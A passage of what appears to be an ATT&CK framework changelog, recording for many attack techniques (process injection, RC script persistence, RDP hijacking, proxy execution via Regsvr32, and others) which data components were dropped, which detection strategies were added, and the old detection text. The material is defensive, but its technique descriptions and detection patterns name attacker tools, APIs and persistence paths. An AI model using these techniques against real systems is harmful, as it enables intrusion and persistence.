x_mitre_detection	Monitor and analyze calls to `CreateTransaction`, `CreateFileTransacted`, `RollbackTransaction`, and other rarely used functions indicative of TxF activity. Process Doppelgänging also invokes an outdated and undocumented implementation of the Windows process loader via calls to `NtCreateProcessEx` and `NtCreateThreadEx` as well as API calls used to modify memory within another process, such as `WriteProcessMemory`. (Citation: BlackHat Process Doppelgänging Dec 2017) (Citation: hasherezade Process Doppelgänging Dec 2017) Scan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelgänging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelgänging Dec 2017) Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.

[T1055.012] Process Injection: Process Hollowing

Current version: 1.4

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Access)
DS0009: Process (Process Creation)
DS0009: Process (Process Modification)

New Detections (Detection Strategies -> Technique):

DET0382: Detection Strategy for Process Hollowing on Windows

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Process: Process Modification', 'Process: OS API Execution', 'Process: Process Access']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:58.724000+00:00	2025-10-24 17:49:14.559000+00:00
x_mitre_detection	Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as `CreateRemoteThread`, `SuspendThread`/`SetThreadContext`/`ResumeThread`, and those that can be used to modify memory within another process, such as `VirtualAllocEx`/`WriteProcessMemory`, may be used for this technique.(Citation: Elastic Process Injection July 2017) Processing hollowing commonly involves spawning an otherwise benign victim process. Consider correlating detections of processes created in a suspended state (ex: through API flags or process’ thread metadata) with other malicious activity such as attempts to modify a process' memory, especially by its parent process, or other abnormal process behavior.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019) Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.

[T1055] Process Injection

Current version: 1.4

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Access)
DS0009: Process (Process Metadata)
DS0009: Process (Process Modification)
DS0011: Module (Module Load)
DS0022: File (File Metadata)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0508: Behavioral Detection of Process Injection Across Platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Access', 'Process: Process Modification', 'File: File Modification', 'Process: Process Metadata', 'File: File Metadata', 'Process: OS API Execution', 'Module: Module Load']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:16.893000+00:00	2025-10-24 17:48:43.053000+00:00
x_mitre_detection	Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as `CreateRemoteThread`, `SuspendThread`/`SetThreadContext`/`ResumeThread`, `QueueUserAPC`/`NtQueueApcThread`, and those that can be used to modify memory within another process, such as `VirtualAllocEx`/`WriteProcessMemory`, may be used for this technique.(Citation: Elastic Process Injection July 2017) Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) Monitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules.(Citation: Microsoft Sysmon v6 May 2017) Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.

[T1572] Protocol Tunneling

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0538: Detection Strategy for Protocol Tunneling accross OS platforms.

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:29.875000+00:00	2025-10-24 17:48:45.888000+00:00
x_mitre_detection	Monitoring for systems listening and/or establishing external connections using ports/protocols commonly associated with tunneling, such as SSH (port 22). Also monitor for processes commonly associated with tunneling, such as Plink and the OpenSSH client. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)

[T1001.003] Data Obfuscation: Protocol or Service Impersonation

Current version: 2.1

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Traffic Content)

New Detections (Detection Strategies -> Technique):

DET0470: Detecting Protocol or Service Impersonation via Anomalous TLS, HTTP Header, and Port Mismatch Correlation

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:05.377000+00:00	2025-10-24 17:49:20.574000+00:00
x_mitre_detection	Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)

[T1090] Proxy

Current version: 3.2

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0445: Detection of Proxy Infrastructure Setup and Traffic Bridging

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 15:15:44.084000+00:00	2025-10-24 17:48:57.330000+00:00
x_mitre_detection	Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) Consider monitoring for traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)).

[T1055.008] Process Injection: Ptrace System Calls

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Access)
DS0009: Process (Process Modification)

New Detections (Detection Strategies -> Technique):

DET0203: Detection Strategy for Ptrace-Based Process Injection on Linux

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: OS API Execution', 'Process: Process Access', 'Process: Process Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:48:25.896000+00:00	2025-10-24 17:49:33.344000+00:00
x_mitre_detection	Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.

[T1216.001] System Script Proxy Execution: PubPrn

Current version: 2.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0012: Script (Script Execution)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0528: Detecting Remote Script Proxy Execution via PubPrn.vbs

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Command: Command Execution', 'Script: Script Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:14.984000+00:00	2025-10-24 17:48:22.022000+00:00
x_mitre_detection	Monitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.

[T1597.002] Search Closed Sources: Purchase Technical Data

Current version: 1.0

New Detections (Detection Strategies -> Technique):

DET0880: Detection of Purchase Technical Data

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:58:36.430000+00:00	2025-10-24 17:48:22.109000+00:00
x_mitre_detection	Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1059.006] Command and Scripting Interpreter: Python

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0063: Cross-Platform Behavioral Detection of Python Execution

Details

dictionary_item_added
STIX Field	Old value	New Value
x_mitre_remote_support		False

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:08.245000+00:00	2025-10-24 17:49:23.660000+00:00
x_mitre_detection	Monitor systems for abnormal Python usage and python.exe behavior, which could be an indicator of malicious activity. Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.

[T1012] Query Registry

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0024: Windows Registry (Windows Registry Key Access)

New Detections (Detection Strategies -> Technique):

DET0209: Detection of Registry Query for Environmental Discovery

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: OS API Execution', 'Windows Registry: Windows Registry Key Access', 'Command: Command Execution', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:58:50.612000+00:00	2025-10-24 17:49:20.660000+00:00
x_mitre_detection	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Interaction with the Windows Registry may come from the command line using utilities such as [Reg](https://attack.mitre.org/software/S0075) or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

[T1037.004] Boot or Logon Initialization Scripts: RC Scripts

Current version: 2.2

	Old Description			New Description
t	1	Adversaries may establish persistence by modifying RC script	t	1	Adversaries may establish persistence by modifying RC script
	>	s, which are executed during a Unix-like system’s startup. T		>	s, which are executed during a Unix-like system’s startup. T
	>	hese files allow system administrators to map and start cust		>	hese files allow system administrators to map and start cust
	>	om services at startup for different run levels. RC scripts		>	om services at startup for different run levels. RC scripts
	>	require root privileges to modify. Adversaries may establis		>	require root privileges to modify. Adversaries may establis
	>	h persistence by adding a malicious binary path or shell com		>	h persistence by adding a malicious binary path or shell com
	>	mands to <code>rc.local</code>, <code>rc.common</code>, and		>	mands to <code>rc.local</code>, <code>rc.common</code>, and
	>	other RC scripts specific to the Unix-like distribution.(Cit		>	other RC scripts specific to the Unix-like distribution.(Cit
	>	ation: IranThreats Kittens Dec 2017)(Citation: Intezer Hidde		>	ation: IranThreats Kittens Dec 2017)(Citation: Intezer Hidde
	>	nWasp Map 2019) Upon reboot, the system executes the script'		>	nWasp Map 2019) Upon reboot, the system executes the script'
	>	s contents as root, resulting in persistence. Adversary abu		>	s contents as root, resulting in persistence. Adversary abu
	>	se of RC scripts is especially effective for lightweight Uni		>	se of RC scripts is especially effective for lightweight Uni
	>	x-like distributions using the root user as default, such as		>	x-like distributions using the root user as default, such as
	>	ESXi hypervisors, IoT, or embedded systems.(Citation: intez		>	ESXi hypervisors, IoT, or embedded systems.(Citation: intez
	>	er-kaiji-malware) As ESXi servers store most system files in		>	er-kaiji-malware) As ESXi servers store most system files in
	>	memory and therefore discard changes on shutdown, leveragin		>	memory and therefore discard changes on shutdown, leveragin
	>	g `/etc/rc.local.d/local.sh` is one of the few mechanisms fo		>	g `/etc/rc.local.d/local.sh` is one of the few mechanisms fo
	>	r enabling persistence across reboots.(Citation: Juniper Net		>	r enabling persistence across reboots.(Citation: Juniper Net
	>	works ESXi Backdoor 2022) Several Unix-like systems have mo		>	works ESXi Backdoor 2022) Several Unix-like systems have mo
	>	ved to Systemd and deprecated the use of RC scripts. This is		>	ved to Systemd and deprecated the use of RC scripts. This is
	>	now a deprecated mechanism in macOS in favor of [Launchd](h		>	now a deprecated mechanism in macOS in favor of Launchd.(Ci
	>	ttps://attack.mitre.org/techniques/T1053/004).(Citation: App		>	tation: Apple Developer Doco Archive Launchd)(Citation: Star
	>	le Developer Doco Archive Launchd)(Citation: Startup Items)		>	tup Items) This technique can be used on Mac OS X Panther v1
	>	This technique can be used on Mac OS X Panther v10.3 and ear		>	0.3 and earlier versions which still execute the RC scripts.
	>	lier versions which still execute the RC scripts.(Citation:		>	(Citation: Methods of Mac Malware Persistence) To maintain b
	>	Methods of Mac Malware Persistence) To maintain backwards co		>	ackwards compatibility some systems, such as Ubuntu, will ex
	>	mpatibility some systems, such as Ubuntu, will execute the R		>	ecute the RC scripts if they exist with the correct file per
	>	C scripts if they exist with the correct file permissions.(C		>	missions.(Citation: Ubuntu Manpage systemd rc)
	>	itation: Ubuntu Manpage systemd rc)

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0237: Detection Strategy for Boot or Logon Initialization Scripts: RC Scripts

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Creation', 'Process: Process Creation', 'File: File Modification', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:13.566000+00:00	2025-10-24 17:49:28.955000+00:00
description	Adversaries may establish persistence by modifying RC scripts, which are executed during a Unix-like system’s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify. Adversaries may establish persistence by adding a malicious binary path or shell commands to `rc.local`, `rc.common`, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence. Adversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as ESXi hypervisors, IoT, or embedded systems.(Citation: intezer-kaiji-malware) As ESXi servers store most system files in memory and therefore discard changes on shutdown, leveraging `/etc/rc.local.d/local.sh` is one of the few mechanisms for enabling persistence across reboots.(Citation: Juniper Networks ESXi Backdoor 2022) Several Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004).(Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)	Adversaries may establish persistence by modifying RC scripts, which are executed during a Unix-like system’s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify. Adversaries may establish persistence by adding a malicious binary path or shell commands to `rc.local`, `rc.common`, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence. Adversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as ESXi hypervisors, IoT, or embedded systems.(Citation: intezer-kaiji-malware) As ESXi servers store most system files in memory and therefore discard changes on shutdown, leveraging `/etc/rc.local.d/local.sh` is one of the few mechanisms for enabling persistence across reboots.(Citation: Juniper Networks ESXi Backdoor 2022) Several Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of Launchd.(Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	Monitor for unexpected changes to RC scripts in the `/etc/` directory. Monitor process execution resulting from RC scripts for unusual or unknown applications or behavior. Monitor for `/etc/rc.local` file creation. Although types of RC scripts vary for each Unix-like distribution, several execute `/etc/rc.local` if present.

[T1563.002] Remote Service Session Hijacking: RDP Hijacking

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0028: Logon Session (Logon Session Creation)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0588: Detection fo Remote Service Session Hijacking for RDP.

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Logon Session: Logon Session Creation', 'Process: Process Creation', 'Command: Command Execution', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:59:04.979000+00:00	2025-10-24 17:49:30.049000+00:00
x_mitre_detection	Consider monitoring processes for `tscon.exe` usage and monitor service creation that uses `cmd.exe /k` or `cmd.exe /c` in its arguments to detect RDP session hijacking. Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP.

[T1542.004] Pre-OS Boot: ROMMONkit

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0001: Firmware (Firmware Modification)

New Detections (Detection Strategies -> Technique):

DET0175: Detection Strategy for T1542.004 Pre-OS Boot: ROMMONkit

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Firmware: Firmware Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:47:36.549000+00:00	2025-10-24 17:49:11.524000+00:00
x_mitre_detection	There are no documented means for defenders to validate the operation of the ROMMON outside of vendor support. If a network device is suspected of being compromised, contact the vendor to assist in further investigation.

[T1547.007] Boot or Logon Autostart Execution: Re-opened Applications

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0017: Command (Command Execution)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0125: Detect persistence via reopened application plist modification (macOS)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'File: File Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:22.343000+00:00	2025-10-24 17:49:32.375000+00:00
x_mitre_detection	Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.

[T1600.001] Weaken Encryption: Reduce Key Space

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0243: Detection Strategy for Weaken Encryption: Reduce Key Space on Network Devices

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:46:24.048000+00:00	2025-10-24 17:48:40.223000+00:00
x_mitre_detection	There is no documented method for defenders to directly identify behaviors that reduce encryption key space. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601) and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008). Some detection methods require vendor support to aid in investigation.

[T1498.002] Network Denial of Service: Reflection Amplification

Current version: 1.4

Dropped Detections (Data Components -> Technique):

DS0013: Sensor Health (Host Status)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0408: Detection Strategy for Reflection Amplification DoS (T1498.002)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Sensor Health: Host Status', 'Network Traffic: Network Traffic Flow']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:59:22.782000+00:00	2025-10-24 17:48:38.890000+00:00
x_mitre_detection	Detection of reflection amplification can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a reflection amplification DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.

[T1620] Reflective Code Loading

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0011: Module (Module Load)
DS0012: Script (Script Execution)

New Detections (Detection Strategies -> Technique):

DET0300: Detection Strategy for Reflective Code Loading

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Module: Module Load', 'Script: Script Execution', 'Process: OS API Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:27.959000+00:00	2025-10-24 17:48:44.030000+00:00
x_mitre_detection	Monitor for code artifacts associated with reflectively loading code, such as the abuse of .NET functions such as `Assembly.Load()` and [Native API](https://attack.mitre.org/techniques/T1106) functions such as `CreateThread()`, `memfd_create()`, `execve()`, and/or `execveat()`.(Citation: 00sec Droppers)(Citation: S1 Old Rat New Tricks) Monitor for artifacts of abnormal process execution. For example, a common signature related to reflective code loading on Windows is mechanisms related to the .NET Common Language Runtime (CLR) -- such as mscor.dll, mscoree.dll, and clr.dll -- loading into abnormal processes (such as notepad.exe). Similarly, AMSI / ETW traces can be used to identify signs of arbitrary code execution from within the memory of potentially compromised processes.(Citation: MDSec Detecting DOTNET)(Citation: Introducing Donut) Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.

[T1547.001] Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Current version: 2.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Modification)
DS0024: Windows Registry (Windows Registry Key Creation)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0365: Detect Registry and Startup Folder Persistence (Windows)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'File: File Modification', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:54.099000+00:00	2025-10-24 17:49:09.744000+00:00
x_mitre_detection	Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data. Changes to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.

[T1218.009] System Binary Proxy Execution: Regsvcs/Regasm

Current version: 2.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0361: Detecting .NET COM Registration Abuse via Regsvcs/Regasm

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:47:58.456000+00:00	2025-10-24 17:49:21.181000+00:00
x_mitre_detection	Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.

[T1218.010] System Binary Proxy Execution: Regsvr32

Current version: 2.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0011: Module (Module Load)
DS0017: Command (Command Execution)
DS0029: Network Traffic (Network Connection Creation)

New Detections (Detection Strategies -> Technique):

DET0282: Detection Strategy for System Binary Proxy Execution: Regsvr32

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Module: Module Load', 'Command: Command Execution', 'Network Traffic: Network Connection Creation', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:19.846000+00:00	2025-10-24 17:49:17.377000+00:00
x_mitre_detection	Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)

[T1219] Remote Access Tools

Current version: 3.0

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0016: Drive (Drive Creation)
DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0496: Behavior-Chain Detection for Remote Access Tools (Tool-Agnostic)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Drive: Drive Creation', 'Network Traffic: Network Connection Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:25.651000+00:00	2025-10-24 17:48:42.154000+00:00
x_mitre_detection	Monitor for applications and processes related to remote admin tools. Correlate activity with other suspicious behavior that may reduce false positives if these tools are used by legitimate users and administrators. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used. [Domain Fronting](https://attack.mitre.org/techniques/T1090/004) may be used in conjunction to avoid defenses. Adversaries will likely need to deploy and/or install these remote tools to compromised systems. It may be possible to detect or prevent the installation of these tools with host-based solutions.

[T1074.002] Data Staged: Remote Data Staging

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0017: Command (Command Execution)
DS0022: File (File Access)
DS0022: File (File Creation)

New Detections (Detection Strategies -> Technique):

DET0071: Detection of Remote Data Staging Prior to Exfiltration

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Creation', 'Command: Command Execution', 'File: File Access']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:21.613000+00:00	2025-10-24 17:48:38.453000+00:00
x_mitre_detection	Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging. Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

[T1114.002] Email Collection: Remote Email Collection

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0015: Application Log (Application Log Content)
DS0017: Command (Command Execution)
DS0028: Logon Session (Logon Session Creation)
DS0029: Network Traffic (Network Connection Creation)

New Detections (Detection Strategies -> Technique):

DET0048: Detect Remote Email Collection via Abnormal Login and Programmatic Access

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Application Log: Application Log Content', 'Logon Session: Logon Session Creation', 'Command: Command Execution', 'Network Traffic: Network Connection Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:59:50.429000+00:00	2025-10-24 17:49:15.355000+00:00
x_mitre_detection	Monitor for unusual login activity from unknown or abnormal locations, especially for privileged accounts (ex: Exchange administrator account).

[T1563] Remote Service Session Hijacking

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0028: Logon Session (Logon Session Creation)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0079: Detection of Remote Service Session Hijacking

Details

